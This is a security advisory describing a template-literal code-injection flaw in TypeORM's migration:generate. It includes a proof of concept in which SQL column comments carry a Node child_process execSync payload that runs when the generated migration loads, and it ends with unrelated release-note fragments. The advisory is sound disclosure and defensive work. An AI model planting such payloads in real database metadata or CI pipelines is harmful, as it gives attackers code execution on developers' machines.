TypeORM: migration:generate template-literal code injection

GHSA-2rp8-mm9q-fp49

More information

Details

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver Metadata source Source
Postgres column DEFAULT, COMMENT, CHECK constraints, view definitions PostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDB COLUMN_DEFAULT, COLUMN_COMMENT MysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDB Same patterns as Postgres CockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File Lines Role
MigrationGenerateCommand.ts 117-138 Template-literal construction (sink)
PostgresDriver.ts 1886-1891 escapeComment() — Postgres
MysqlDriver.ts 1322-1328 escapeComment() — MySQL
CockroachDriver.ts 1236-1241 escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

Vector Result Notes
Column COMMENT Confirmed Proven in PoC below
Column DEFAULT Confirmed Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraint Not exploitable MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitions Not tested Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Notes:

  • When using MySQL, TypeORM now connects using stringifyObjects: true, in order to avoid a potential security vulnerability
    in the mysql/mysql2 client libraries. You can revert to the old behavior by setting connectionOptions.extra.stringifyObjects = false.
  • When using SAP HANA, TypeORM now uses the built-in pool from the @sap/hana-client library. The deprecated hdb-pool
    is no longer necessary and can be removed. See https://typeorm.io/docs/drivers/sap/#data-source-options for the new pool options.
Bug Fixes
Features
  • add Redis 5.x support with backward compatibility with peer dependency to allow (#​11585) (17cf837), closes #​11528
  • sap: add support for REAL_VECTOR and HALF_VECTOR data types
